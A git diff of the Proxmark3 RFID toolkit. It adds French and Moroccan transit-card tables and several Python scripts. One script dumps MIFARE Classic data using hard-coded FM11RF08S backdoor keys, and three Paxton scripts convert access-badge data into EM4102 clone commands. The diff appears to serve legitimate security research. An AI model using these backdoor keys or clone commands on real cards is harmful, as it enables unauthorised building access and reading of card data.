FRA_OrganizationalAuthority_Contract_Provider = { }, 0x091: { 1: InterticHelper('Strasbourg', 'CTS', Describe_Usage_4), # More dump needed, not only tram ! + 5: InterticHelper('Strasbourg', 'CTS / new', Describe_Usage_4), # More dump needed, not only tram ! }, 0x502: { 83: InterticHelper('Annecy', 'Sibra', Describe_Usage_2), - 10: InterticHelper('Clermont-Ferrand', 'T2C'), + 84: InterticHelper('Bourg-en-Bresse', 'Rubis / Keolis'), + 10: InterticHelper('Clermont-Ferrand', 'T2C', Describe_Usage_2_2), }, 0x907: { 1: InterticHelper('Dijon', 'Divia / Keolis'), @@ -270,6 +338,7 @@ FRA_OrganizationalAuthority_Contract_Provider = { }, 0x912: { 3: InterticHelper('Le Havre', 'Lia / Transdev', Describe_Usage_1_1), + 29: InterticHelper('Caen', 'Twisto / RATP', Describe_Usage_2), 35: InterticHelper('Cherbourg-en-Cotentin', 'Cap Cotentin / Transdev'), }, 0x913: { @@ -282,8 +351,16 @@ FRA_OrganizationalAuthority_Contract_Provider = { 4: InterticHelper('Angers', 'Irigo / RATP', Describe_Usage_1_2), 7: InterticHelper('Saint-Nazaire', 'Stran'), }, + 0x920: { + 9: InterticHelper('Aix-en-Provence', 'Aixenbus / Keolis', Describe_Usage_2_1), + }, } +MAR_OrganizationalAuthority_Contract_Provider = { + 0x001: { + 1: InterticHelper('Casablanca', 'Casa Transports / RATP', Describe_Usage_2_1), + }, +} def main(): @@ -374,7 +451,7 @@ def main(): return 3 - print('PID (product): 0x{:02x} (flipflop?: {})'.format(PID, (PID & 0x10) != 0)); + print('PID (product): 0x{:02x} (flipflop?: {})'.format(PID, (PID & 0x10) != 0)) print('KeyId : 0x{:1x}'.format(KeyId)) print() @@ -397,20 +474,27 @@ def main(): Distribution_left = Distribution_Data.nom_bits_left() print('DISTRIBUTION') - print(' CountryCode : {:03x} - {}'.format(CountryCode, ISO_Countries.get(CountryCode, '?'))); - print(' OrganizationalAuthority : {:03x}'.format(OrganizationalAuthority)); - print(' ContractApplicationVersionNumber:', ContractApplicationVersionNumber); - print(' ContractProvider :', ContractProvider); + print(' CountryCode : {:03x} - {}'.format(CountryCode, ISO_Countries.get(CountryCode, '?'))) + print(' OrganizationalAuthority : {:03x}'.format(OrganizationalAuthority)) + print(' ContractApplicationVersionNumber:', ContractApplicationVersionNumber) + print(' ContractProvider :', ContractProvider) + if (CountryCode == 0x250): oa = FRA_OrganizationalAuthority_Contract_Provider.get(OrganizationalAuthority) - if (oa is not None): - s = oa.get(ContractProvider) - if (s is not None): - print(' ~ Authority & Provider ~ : {} ({})'.format(s.OrganizationalAuthority, s.ContractProvider)) - Describe_Usage = s.UsageDescribeFunction - print(' ContractTariff :', ContractTariff); - print(' ContractMediumEndDate : {} ({})'.format(ContractMediumEndDate, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate)).strftime('%Y-%m-%d'))); - print(' left... :', Distribution_left); + elif (CountryCode == 0x504): + oa = MAR_OrganizationalAuthority_Contract_Provider.get(OrganizationalAuthority) + else: + oa = None + + if (oa is not None): + s = oa.get(ContractProvider) + if (s is not None): + print(' ~ Authority & Provider ~ : {} ({})'.format(s.OrganizationalAuthority, s.ContractProvider)) + Describe_Usage = s.UsageDescribeFunction + + print(' ContractTariff :', ContractTariff) + print(' ContractMediumEndDate : {} ({})'.format(ContractMediumEndDate, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate)).strftime('%Y-%m-%d'))) + print(' left... :', Distribution_left) print(' [CER] Distribution : {:08x}'.format(Distribution_Cer.nom(32))) print() diff --git a/client/pyscripts/mf_backdoor_dump.py b/client/pyscripts/mf_backdoor_dump.py new file mode 100644 index 000000000..2831db5de --- /dev/null +++ b/client/pyscripts/mf_backdoor_dump.py @@ -0,0 +1,44 @@ +#!/usr/bin/env python3 + +# Uses the backdoor keys for the FM11RF08S (and similar) chipsets to quickly dump all the data they can read +# Should work on vulnerable 1k and 4k chips +# Based on the work in this paper: https://eprint.iacr.org/2024/1275 + +import pm3 +import sys + +BACKDOOR_KEYS = [("A396EFA4E24F", "1k"), ("A31667A8CEC1", "1k"), ("518B3354E760", "4k")] +WORKING_KEY = None + +required_version = (3, 8) +if sys.version_info < required_version: + print(f"Python version: {sys.version}") + print(f"The script needs at least Python v{required_version[0]}.{required_version[1]}. Abort.") + exit() +p = pm3.pm3() + +# Test all the keys first to see which one works (if any) +for bk, sz in BACKDOOR_KEYS: + p.console(f"hf mf ecfill --{sz} -c 4 -k {bk}") + output = p.grabbed_output.split('\n') + + if "[#] Card not found" in output: + print("Error reading the tag:") + print("\n".join(output)) + break + elif "[-] Fill ( fail )" in output: + continue + elif "[+] Fill ( ok )" not in output: + print("Unexpected output, exiting:") + print("\n".join(output)) + break + else: + WORKING_KEY = bk + break + +if WORKING_KEY is None: + print("None of the backdoor keys seem to work with this tag.") +else: + print(f"Backdoor key {WORKING_KEY} seems to work, dumping data...") + print("IMPORTANT: Only data blocks and access bytes can be dumped; keys will be shown as all 0's") + p.console(f"hf mf eview --{sz}", True) diff --git a/client/pyscripts/paxton_convert.py b/client/pyscripts/paxton_convert.py new file mode 100755 index 000000000..d28f5ae52 --- /dev/null +++ b/client/pyscripts/paxton_convert.py @@ -0,0 +1,137 @@ +#!/usr/bin/env python3 + +# paxton_convert.py - Convert Paxton Net2 and Switch2 to EM4102 +# Author jareckib +# Based on Equipter's tutorial - Downgrade Paxton Net to EM410x +# +# This code is copyright (c) jareckib, 2025, All rights reserved. +# For non-commercial use only, the following terms apply - for all other +# uses, please contact the author. +# +# This code is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 3 of the License, or +# any later version. +# +# This code is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +import sys +def hex_to_bin(hex_string): + return ''.join(format(byte, '08b') for byte in bytearray.fromhex(hex_string)) + +def remove_last_two_bits(binary_str): + return binary_str[:-2] + +def split_into_5bit_chunks(binary_str): + return [binary_str[i:i+5] for i in range(0, len(binary_str), 5)] + +def remove_parity_bit(chunks): + return [chunk[1:] for chunk in chunks if len(chunk) == 5] + +def convert_to_hex(chunks): + return [format(int(chunk, 2), 'X') for chunk in chunks] + +def convert_to_decimal(chunks): + return [int(chunk, 2) for chunk in chunks] + +def find_until_before_f(hex_values): + result = [] + for value in hex_values: + if value == 'F': + break + result.append(value) + + return result + +def process_block(block): + binary_str = hex_to_bin(block) + binary_str = remove_last_two_bits(binary_str) + chunks = split_into_5bit_chunks(binary_str) + no_parity_chunks = remove_parity_bit(chunks) + + return no_parity_chunks + +def calculate_id_net(blocks): + + all_hex_values = [] + for block in blocks: + hex_values = convert_to_hex(process_block(block)) + all_hex_values.extend(hex_values) + + selected_hex_values = find_until_before_f(all_hex_values) + + if not selected_hex_values: + raise ValueError("Error: No valid data found in blocks 4 and 5.") + + combined_hex = ''.join(selected_hex_values) + + if not combined_hex.isdigit(): + raise ValueError("Error: Invalid data in blocks 4 and 5.") + + decimal_id = int(combined_hex) + stripped_hex_id = format(decimal_id, 'X').upper() + padded_hex_id = stripped_hex_id.zfill(10) + + return decimal_id, padded_hex_id + +def calculate_id_switch(blocks): + + all_decimal_values = [] + for block in blocks: + decimal_values = convert_to_decimal(process_block(block)) + all_decimal_values.extend(decimal_values) + + if len(all_decimal_values) < 15: + raise ValueError("Error: Not enough data after processing blocks 4, 5, 6, and 7.") + + id_positions = [9, 11, 13, 15, 2, 4, 6, 8] + id_numbers = [all_decimal_values[pos-1] for pos in id_positions] + decimal_id = int(''.join(map(str, id_numbers))) + padded_hex_id = format(decimal_id, 'X').upper().zfill(10) + + return decimal_id, padded_hex_id + +def input_block_data(block_number): + + while True: + block_data = input("Enter data for block {} (4 bytes in hex): ".format(block_number)).strip() + if len(block_data) != 8 or not all(c in '0123456789abcdefABCDEF' for c in block_data): + print("Error: Data must be 4 bytes (8 characters) in hex. Try again.") + else: + return block_data + +block_4 = input_block_data(4) +block_5 = input_block_data(5) + +if block_5[3] == 'F' or block_5[3] == 'f': + print("Identified Paxton Net2") + blocks = [block_4, block_5] + + try: + decimal_id, padded_hex_id = calculate_id_net(blocks) + print('Calculations for block 4 and block 5:') + print('Net2 ID - decimal: {}'.format(decimal_id)) + print('Net2 ID - hex: {}'.format(padded_hex_id)) + print('Use the following command in Proxmark3: lf em 410x clone --id {}'.format(padded_hex_id)) + except ValueError as e: + print(e) + +else: + print("Identified Paxton Switch2") + block_6 = input_block_data(6) + block_7 = input_block_data(7) + blocks = [block_4, block_5, block_6, block_7] + + try: + decimal_id, padded_hex_id = calculate_id_switch(blocks) + print('Calculated data from blocks 4, 5, 6, 7:') + print('Switch2 ID - decimal: {}'.format(decimal_id)) + print('Switch2 ID - hex: {}'.format(padded_hex_id)) + print('Use the following command in Proxmark3: lf em 410x clone --id {}'.format(padded_hex_id)) + except ValueError as e: + print(e) + +print('If EM4102 does not work, this option is probably disabled. Sorry for the inconvenience.') diff --git a/client/pyscripts/paxton_net.py b/client/pyscripts/paxton_net.py new file mode 100755 index 000000000..26978b4e7 --- /dev/null +++ b/client/pyscripts/paxton_net.py @@ -0,0 +1,104 @@ +#!/usr/bin/env python3 + +# paxton_net.py - Convert Paxton Net2 to EM4102 +# Author jareckib +# Based on Equipter's tutorial - Downgrade Paxton Net to EM410x +# +# This code is copyright (c) jareckib, 2025, All rights reserved. +# For non-commercial use only, the following terms apply - for all other +# uses, please contact the author. +# +# This code is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 3 of the License, or +# any later version. +# +# This code is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +import sys + +def hex_to_bin(hex_string): + return ''.join(format(byte, '08b') for byte in bytearray.fromhex(hex_string)) + +def remove_last_two_bits(binary_str): + return binary_str[:-2] + +def split_into_5bit_chunks(binary_str): + return [binary_str[i:i+5] for i in range(0, len(binary_str), 5)] + +def remove_parity_bit(chunks): + return [chunk[1:] for chunk in chunks if len(chunk) == 5] + +def convert_to_hex(chunks): + return [format(int(chunk, 2), 'X') for chunk in chunks] + +def find_until_before_f(hex_values): + result = [] + for value in hex_values: + if value == 'F': + break + result.append(value) + return result + +def process_block(block): + binary_str = hex_to_bin(block) + binary_str = remove_last_two_bits(binary_str) + chunks = split_into_5bit_chunks(binary_str) + no_parity_chunks = remove_parity_bit(chunks) + hex_values = convert_to_hex(no_parity_chunks) + return hex_values + +def calculate_id(blocks): + + all_hex_values = [] + + for block in blocks: + hex_values = process_block(block) + all_hex_values.extend(hex_values) + + selected_hex_values = find_until_before_f(all_hex_values) + + if not selected_hex_values: + raise ValueError("Error: No valid data found in blocks 4 and 5.") + + combined_hex = ''.join(selected_hex_values) + + if not combined_hex.isdigit(): + raise ValueError("Error: Invalid data in blocks 4 and 5.") + + decimal_id = int(combined_hex) + stripped_hex_id = format(decimal_id, 'X').upper() + padded_hex_id = stripped_hex_id.zfill(10) + return combined_hex, decimal_id, stripped_hex_id, padded_hex_id + +def input_block_data(block_number): + while True: + block_data = input("Enter data for block {} (4 bytes in hex): ".format(block_number)).strip() + if len(block_data) != 8 or not all(c in '0123456789abcdefABCDEF' for c in block_data): + print("Error: Data must be 4 bytes (8 characters) in hex. Try again.") + else: + return block_data +block_4 = input_block_data(4) +block_5 = input_block_data(5) + +# Check if the second nibble of the second byte in block 5 is 'F' +if block_5[3] != 'F' and block_5[3] != 'f': + print("This is not a Paxton Net2") + sys.exit() + +blocks = [ + block_4, + block_5, +] + +try: + result_hex, result_decimal, stripped_hex_id, padded_hex_id = calculate_id(blocks) + print('Calculations for block 4 and block 5:') + print('Result (Net2 ID - decimal): {}'.format(result_decimal)) + print('Result (Net2 ID - hex): {}'.format(padded_hex_id)) + print('Use the following command in Proxmark3: lf em 410x clone --id {}'.format(padded_hex_id)) +except ValueError as e: + print(e) diff --git a/client/pyscripts/paxton_switch.py b/client/pyscripts/paxton_switch.py new file mode 100755 index 000000000..639e40402 --- /dev/null +++ b/client/pyscripts/paxton_switch.py @@ -0,0 +1,90 @@ +#!/usr/bin/env python3 + +# paxton_switch.py - Convert Paxton Switch2 to EM4102 +# Author jareckib +# Based on Equipter's tutorial - Downgrade Paxton Net to EM410x +# +# This code is copyright (c) jareckib, 2025, All rights reserved. +# For non-commercial use only, the following terms apply - for all other +# uses, please contact the author. +# +# This code is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 3 of the License, or +# any later version. +# +# This code is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +import sys + +def hex_to_bin(hex_string): + return ''.join(format(byte, '08b') for byte in bytearray.fromhex(hex_string)) + +def remove_last_two_bits(binary_str): + return binary_str[:-2] + +def split_into_5bit_chunks(binary_str): + return [binary_str[i:i+5] for i in range(0, len(binary_str), 5)] + +def remove_parity_bit(chunks): + return [chunk[1:] for chunk in chunks if len(chunk) == 5] + +def convert_to_decimal(chunks): + return [int(chunk, 2) for chunk in chunks] + +def process_block(block): + binary_str = hex_to_bin(block) + binary_str = remove_last_two_bits(binary_str) + chunks = split_into_5bit_chunks(binary_str) + no_parity_chunks = remove_parity_bit(chunks) + decimal_values = convert_to_decimal(no_parity_chunks) + + return decimal_values + +def calculate_id(blocks): + + all_decimal_values = [] + for block in blocks: + decimal_values = process_block(block) + all_decimal_values.extend(decimal_values) + + if len(all_decimal_values) < 15: + raise ValueError("Error: Not enough data after processing blocks 4, 5, 6, and 7.") + + id_positions = [9, 11, 13, 15, 2, 4, 6, 8] + id_numbers = [all_decimal_values[pos-1] for pos in id_positions] + decimal_id = int(''.join(map(str, id_numbers))) + padded_hex_id = format(decimal_id, 'X').upper().zfill(10) + + return decimal_id, padded_hex_id + +def input_block_data(block_number): + while True: + block_data = input("Enter data for block {} (4 bytes in hex): ".format(block_number)).strip() + if len(block_data) != 8 or not all(c in '0123456789abcdefABCDEF' for c in block_data): + print("Error: Data must be 4 bytes (8 characters) in hex. Try again.") + else: + return block_data + + +block_4 = input_block_data(4) +block_5 = input_block_data(5) +block_6 = input_block_data(6) +block_7 = input_block_data(7) +blocks = [ + block_4, + block_5, + block_6, + block_7, +] + +try: + decimal_id, padded_hex_id = calculate_id(blocks) + print('Calculated data from blocks 4, 5, 6, 7:') + print('Switch2 ID - decimal: {}'.format(decimal_id)) + print('Switch2 ID - hex: {}'.format(padded_hex_id)) + print('Use the following command in Proxmark3: lf em 410x clone --id {}'.format(padded_hex_id)) +except ValueError as e: + print(e) diff --git a/client/pyscripts/pm3.py b/client/pyscripts/pm3.py index ead49777a..26e90a774 100644 --- a/client/pyscripts/pm3.py +++ b/client/pyscripts/pm3.py @@ -66,8 +66,8 @@ class pm3(object): _pm3.pm3_swiginit(self, _pm3.new_pm3(*args)) __swig_destroy__ = _pm3.delete_pm3 - def console(self, cmd, passthru=False): - return _pm3.pm3_console(self, cmd, passthru) + def console(self, cmd, capture=True, quiet=True): + return _pm3.pm3_console(self, cmd, capture, quiet) name = property(_pm3.pm3_name_get) grabbed_output = property(_pm3.pm3_grabbed_output_get) diff --git a/client/pyscripts/pm3_resources.py b/client/pyscripts/pm3_resources.py new file mode 100644 index 000000000..a31069dbd --- /dev/null +++ b/client/pyscripts/pm3_resources.py @@ -0,0 +1,92 @@ +""" +Helper library to locate resources for pm3 scripts. + +This module provides functionality to locate tools and dictionaries required +for pm3 scripts. It determines the paths based on the directory structure +and whether the script is being run in a development setup or an installed setup. + +Functions: + find_tool(tool_name): + Finds the specified tool in the tools directory. + Args: + tool_name (str): The name of the tool to find. + Returns: + str: The full path to the tool if found, otherwise None. + + find_dict(dict_name): + Find the specified dictionary in the dicts directory. + Args: + dict_name (str): The name of the dict to find. + Returns: + str: The full path to the dict if found, otherwise None. +""" + +import os + +# Install script can hardcode paths in the following variables +TOOLS_PATH = None +DICTS_PATH = None + +if __name__ == "__main__": + print("This is a library, don't use it as a script") + exit() + +DIR_PATH = os.path.dirname(os.path.abspath(__file__)) + +if TOOLS_PATH is None: + if os.path.basename(os.path.dirname(DIR_PATH)) == 'client': + # dev setup + DEV_TOOLS_PATH = os.path.normpath(os.path.join(DIR_PATH, "..", "..", "tools")) + if os.path.isdir(DEV_TOOLS_PATH): + TOOLS_PATH = DEV_TOOLS_PATH + +if TOOLS_PATH is None: + # assuming installed without having defined TOOLS_PATH + TEST_TOOLS_PATH = os.path.normpath(os.path.join(DIR_PATH, "..", "tools")) + if os.path.isdir(TEST_TOOLS_PATH): + TOOLS_PATH = TEST_TOOLS_PATH + + +if DICTS_PATH is None: + DEV_DICTS_PATH = os.path.normpath(os.path.join(DIR_PATH, "..", "dictionaries")) + if os.path.isdir(DEV_DICTS_PATH): + DICTS_PATH = DEV_DICTS_PATH + + +def find_tool(tool_name): + """Find the specified tool in the tools directory. + + Args: + tool_name (str): The name of the tool to find. + Returns: + str: The full path to the tool if found, otherwise None. + """ + if TOOLS_PATH is not None: + for root, _, files in os.walk(TOOLS_PATH): + if tool_name in files: + return os.path.join(root, tool_name) + elif tool_name + ".exe" in files: + return os.path.join(root, tool_name + ".exe") + # if not found, search in the user PATH + for path in os.environ["PATH"].split(os.pathsep): + env_tool = os.path.join(path, tool_name) + if os.path.isfile(env_tool): + return env_tool + elif os.path.isfile(env_tool + ".exe"): + return env_tool + ".exe" + raise FileNotFoundError(f"Cannot find {tool_name}, abort!") + + +def find_dict(dict_name): + """Find the specified dictionary in the dicts directory. + + Args: + dict_name (str): The name of the dict to find. + Returns: + str: The full path to the dict if found, otherwise None. + """ + if DICTS_PATH is not None: + dictionary = os.path.join(DICTS_PATH, dict_name) + if os.path.isfile(dictionary): + return dictionary + raise FileNotFoundError(f"Cannot find {dict_name}, abort!") diff --git a/client/pyscripts/spi_flash_decode.py b/client/pyscripts/spi_flash_decode.py new file mode 100644 index 000000000..1e3aab578 --- /dev/null +++ b/client/pyscripts/spi_flash_decode.py @@ -0,0 +1,171 @@ +#!/usr/bin/env python3 + +import re +import pm3 +# optional color support +try: + # pip install ansicolors + from colors import color +except ModuleNotFoundError: + def color(s, fg=None): + _ = fg + return str(s) + +spi = { + 0x68:{ + "manufacturer": "Boya", + "jedec" : { + 0x40: { + 0x15: { + "part": "BY25Q16BS", + "size": "16mbits", + "sizeB": "2MB", + }, + }, + }, + }, + 0x85:{ + "manufacturer": "Puya", + "jedec" : { + 0x60: { + 0x15: { + "part": "P25Q16H", + "size": "16mbits", + "sizeB": "2MB", + }, + 0x16: { + "part": "P25Q32H", + "size": "32mbits", + "sizeB": "4MB", + }, + 0x17: { + "part": "P25Q64H", + "size": "64mbits", + "sizeB": "8MB", + }, + }, + }, + }, + 0xEF:{ + "manufacturer": "Winbond", + "jedec" : { + 0x30: { + 0x11: { + "part": "W25X10BV", + "size": "1mbits", + "sizeB": "128KB", + }, + 0x12: { + "part": "W25X20BV", + "size": "2mbits", + "sizeB": "256KB", + }, + 0x13: { + "part": "W25X40BV", + "size": "4mbits", + "sizeB": "512KB", + }, + }, + 0x40: { + 0x12: { + "part": "W25Q20BV", + "size": "2mbits", + "sizeB": "256KB", + }, + 0x13: { + "part": "W25Q40BV", + "size": "4mbits", + "sizeB": "512KB", + }, + 0x14: { + "part": "W25Q80BV", + "size": "8mbits", + "sizeB": "1MB", + }, + 0x15: { + "part": "W25Q16BV", + "size": "16mbits", + "sizeB": "2MB", + }, + 0x16: { + "part": "W25Q32BV", + "size": "32mbits", + "sizeB": "4MB", + }, + 0x17: { + "part": "W25Q64BV", + "size": "64mbits", + "sizeB": "8MB", + }, + }, + 0x70: { + 0x14: { + "part": "W25Q80JV", + "size": "8mbits", + "sizeB": "1MB", + }, + 0x15: { + "part": "W25Q16JV", + "size": "16mbits", + "sizeB": "2MB", + }, + 0x16: { + "part": "W25Q32JV", + "size": "32mbits", + "sizeB": "4MB", + }, + 0x17: { + "part": "W25Q64JV", + "size": "64mbits", + "sizeB": "8MB", + }, + 0x22: { + "part": "W25Q02JV-IM", + "size": "2mbits", + "sizeB": "256KB", + }, + }, + }, + }, + } + +p = pm3.pm3() + +p.console("hw status") + +rex = re.compile("...\\s([0-9a-fA-F]{2})\\s/\\s([0-9a-fA-F]{4})") + +for line in p.grabbed_output.split('\n'): + # [#] JEDEC Mfr ID / Dev ID... 85 / 6015 + if " JEDEC " not in line: + continue + + match = re.findall(rex, line) + mid = int(match[0][0], 16) + did = int(match[0][1], 16) + did_h = did >> 8 + did_l = did & 0xff + t = None + print(f"\n JEDEC ID....... 0x{mid:X} / 0x{did:X}") + if mid in spi: + + mfr = spi[mid]['manufacturer'] + + if did_h in spi[mid]['jedec']: + + if did_l in spi[mid]['jedec'][did_h]: + + t = spi[mid]['jedec'][did_h][did_l] + print("\n Manufacturer... " + color(f"{mfr}", fg="green") + + "\n Device......... " + color(f"{t['part']}", fg="green") + + "\n Size........... " + color(f"{t['size']} ({t['sizeB']})", fg="yellow") + ) + else: + print("\n Manufacturer... " + color(f"{mfr}", fg="green") + + "\n Device ID...... " + color(f"{did:04X}h (unknown)", fg="red")) + else: + print("\n Manufacturer... " + color(f"{mfr}", fg="green") + + "\n Device ID...... " + color(f"{did:04X}h (unknown)", fg="red")) + else: + print("\n Manufacturer... " + color(f"{mid:02X}h (unknown)", fg="red") + + "\n Device ID...... " + color(f"{did:04X}h (unknown)", fg="red")) diff --git a/client/pyscripts/theremin.py b/client/pyscripts/theremin.py index a286d6193..8cb41737a 100755 --- a/client/pyscripts/theremin.py +++ b/client/pyscripts/theremin.py @@ -1,82 +1,177 @@ #!/usr/bin/python3 -### Parameters +import os +import subprocess +import signal +import numpy as np +from pyaudio import PyAudio, paFloat32, paContinue + # Sound output parameters volume = 1.0 -sample_buf_size = 44 -sampling_freq = 44100 #Hz +sampling_freq = 44100 # Hz # Frequency generator parameters -min_freq = 200 #Hz -max_freq = 2000 #Hz +min_freq = 100 # Hz +max_freq = 6000 # Hz # Proxmark3 parameters -pm3_client="/usr/local/bin/proxmark3" -pm3_reader_dev_file="/dev/ttyACM0" -pm3_tune_cmd="hf tune" +pm3_client = "pm3" +pm3_tune_cmd = "hf tune --value" + +frequency = 440 +buffer = [] -### Modules -import numpy -import pyaudio -from select import select -from subprocess import Popen, DEVNULL, PIPE +def find_zero_crossing_index(array): + for i in range(1, len(array)): + if array[i-1] < 0 and array[i] >= 0: + return i + return None # Return None if no zero-crossing is found -### Main program -p = pyaudio.PyAudio() +def generate_sine_wave(frequency, sample_rate, duration, frame_count): + """Generate a sine wave at a given frequency.""" + t = np.linspace(0, duration, int(sample_rate * duration), endpoint=False) + wave = np.sin(2 * np.pi * frequency * t) + return wave[:frame_count] -# For paFloat32 sample values must be in range [-1.0, 1.0] -stream = p.open(format=pyaudio.paFloat32, - channels=1, - rate=sampling_freq, - output=True) -# Initial voltage to frequency values -min_v = 100.0 -max_v = 0.0 -v = 0 -out_freq = min_freq +# PyAudio Callback function +def pyaudio_callback(in_data, frame_count, time_info, status): + # if in_data is None: + # return (in_data, pyaudio.paContinue) + global frequency + global buffer + wave = generate_sine_wave(frequency, sampling_freq, 0.01, frame_count*2) + i = find_zero_crossing_index(buffer) + if i is None: + buffer = wave + else: + buffer = np.concatenate((buffer[:i], wave)) + data = (buffer[:frame_count] * volume).astype(np.float32).tobytes() + buffer = buffer[frame_count:] + return (data, paContinue) +# pyaudio.paComplete -# Spawn the Proxmark3 client -pm3_proc = Popen([pm3_client, pm3_reader_dev_file, "-c", pm3_tune_cmd], - bufsize=0, env={}, stdin=DEVNULL, stdout=PIPE, stderr=DEVNULL) -mv_recbuf = "" -# Read voltages from the Proxmark3, generate the sine wave, output to soundcard -sample_buf = [0.0 for x in range(0, sample_buf_size)] -i = 0 -sinev = 0 -while True: +def silent_pyaudio(): + """ + Lifted and adapted from https://stackoverflow.com/questions/67765911/ + PyAudio is noisy af every time you initialise it, which makes reading the + log output rather difficult. The output appears to be being made by the + C internals, so we can't even redirect the logs with Python's logging + facility. Therefore the nuclear option was selected: swallow all stderr + and stdout for the duration of PyAudio's use. + """ - # Read Proxmark3 client's stdout and extract voltage values - if(select([pm3_proc.stdout], [], [], 0)[0]): + # Open a pair of null files + null_fds = [os.open(os.devnull, os.O_RDWR) for x in range(2)] + # Save the actual stdout (1) and stderr (2) file descriptors. + save_fds = [os.dup(1), os.dup(2)] + # Assign the null pointers to stdout and stderr. + os.dup2(null_fds[0], 1) + os.dup2(null_fds[1], 2) + pyaudio = PyAudio() + os.dup2(save_fds[0], 1) + os.dup2(save_fds[1], 2) + # Close all file descriptors + for fd in null_fds + save_fds: + os.close(fd) + return pyaudio - b = pm3_proc.stdout.read(256).decode("ascii") - if "Done" in b: - break; - for c in b: - if c in "0123456789 mV": - mv_recbuf += c - else: - mv_recbuf = "" - if mv_recbuf[-3:] == " mV": - v = int(mv_recbuf[:-3]) / 1000 - if v < min_v: - min_v = v - 0.001 - if v > max_v: - max_v = v + +def run_pm3_cmd(callback): + # Start the process + process = subprocess.Popen( + [pm3_client, '-c', pm3_tune_cmd], + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + text=True, + bufsize=1, # Line buffered + shell=False + ) + + # Read the output line by line as it comes + try: + with process.stdout as pipe: + for line in pipe: + # Process each line + l = line.strip() # Strip to remove any extraneous newline characters + callback(l) + except Exception as e: + print(f"An error occurred: {e}") + finally: + # Ensure the subprocess is properly terminated + process.terminate() + process.wait() + + +def linear_to_exponential_freq(v, min_v, max_v, min_freq, max_freq): + # First, map v to a range between 0 and 1 + if max_v != min_v: + normalized_v = (v - min_v) / (max_v - min_v) + else: + normalized_v = 0.5 + normalized_v = 1 - normalized_v + + # Calculate the ratio of the max frequency to the min frequency + freq_ratio = max_freq / min_freq + + # Calculate the exponential frequency using the mapped v + freq = min_freq * (freq_ratio ** normalized_v) + return freq + + +class foo(): + def __init__(self): + self.p = silent_pyaudio() + # For paFloat32 sample values must be in range [-1.0, 1.0] + self.stream = self.p.open(format=paFloat32, + channels=1, + rate=sampling_freq, + output=True, + stream_callback=pyaudio_callback) + + # Initial voltage to frequency values + self.min_v = 50000.0 + self.max_v = 0.0 + + # Setting the signal handler for SIGINT (Ctrl+C) + signal.signal(signal.SIGINT, self.signal_handler) + + # Start the stream + self.stream.start_stream() + + def __exit__(self): + self.stream.stop_stream() + self.stream.close() + self.p.terminate() + + def signal_handler(self, sig, frame): + print("\nYou pressed Ctrl+C! Press Enter") + self.__exit__() + + def callback(self, line): + if 'mV' not in line: + return + v = int(line.split(' ')[1]) + if v == 0: + return + self.min_v = min(self.min_v, v) + self.max_v = max(self.max_v, v) # Recalculate the audio frequency to generate - out_freq = (max_freq - min_freq) * (max_v - v) / (max_v - min_v) \ - + min_freq + global frequency + frequency = linear_to_exponential_freq(v, self.min_v, self.max_v, min_freq, max_freq) - # Generate the samples and write them to the soundcard - sinevs = out_freq / sampling_freq * numpy.pi * 2 - sample_buf[i] = sinev - sinev += sinevs - sinev = sinev if sinev < numpy.pi * 2 else sinev - numpy.pi * 2 - i = (i + 1) % sample_buf_size - if not i: - stream.write((numpy.sin(sample_buf) * volume). - astype(numpy.float32).tobytes()) +# frequency = max_freq - ((max_freq - min_freq) * (v - self.min_v) / (self.max_v - self.min_v) + min_freq) + #frequency = (frequency + new_frequency)/2 + + +def main(): + f = foo() + run_pm3_cmd(f.callback) + + +if __name__ == "__main__": + main() diff --git a/client/resources/aid_desfire.json b/client/resources/aid_desfire.json index 7a5154b96..df68b254e 100644 --- a/client/resources/aid_desfire.json +++ b/client/resources/aid_desfire.json @@ -15,9 +15,17 @@ "Description": "FID 02: EF-CONF", "Type": "pacs" }, + { + "AID": "0584DF", + "Vendor": "GANTNER ELECTRONIC GMBH via SALTO SYSTEMS S.L", + "Country": "AT", + "Name": "Gantner GAT NET.Lock / GAT Eco.Lock / GAT ECO.Side Credential", + "Description": "Gantner GAT NET.Lock / GAT Eco.Lock / GAT ECO.Side Credential", + "Type": "pacs" + }, { "AID": "1023F5", - "Vendor": "Integrated Control Technology Limited [ICT]", + "Vendor": "Integrated Control Technology Limited (ICT)", "Country": "NZ", "Name": "ICT Access Credential", "Description": "Default Secondary Application", @@ -28,7 +36,7 @@ "Vendor": "Gallagher Group Limited via PEC (New Zealand) Limited", "Country": "NZ", "Name": "Gallagher Security Credential", - "Description": "Cardax Card Data Application (Alternative Endian)", + "Description": "Cardax Card Data Application", "Type": "pacs" }, { @@ -36,7 +44,7 @@ "Vendor": "Gallagher Group Limited via PEC (New Zealand) Limited", "Country": "NZ", "Name": "Gallagher Security Credential", - "Description": "Cardax Card Data Application (Alternative Endian)", + "Description": "Cardax Card Data Application", "Type": "pacs" }, { @@ -44,7 +52,7 @@ "Vendor": "Gallagher Group Limited via PEC (New Zealand) Limited", "Country": "NZ", "Name": "Gallagher Security Credential", - "Description": "Cardax Card Data Application (Alternative Endian)", + "Description": "Cardax Card Data Application", "Type": "pacs" }, { @@ -52,7 +60,7 @@ "Vendor": "Gallagher Group Limited via PEC (New Zealand) Limited", "Country": "NZ", "Name": "Gallagher Security Credential", - "Description": "Cardax Card Data Application (Alternative Endian)", + "Description": "Cardax Card Data Application", "Type": "pacs" }, { @@ -60,7 +68,7 @@ "Vendor": "Gallagher Group Limited via PEC (New Zealand) Limited", "Country": "NZ", "Name": "Gallagher Security Credential", - "Description": "Cardax Card Data Application (Alternative Endian)", + "Description": "Cardax Card Data Application", "Type": "pacs" }, 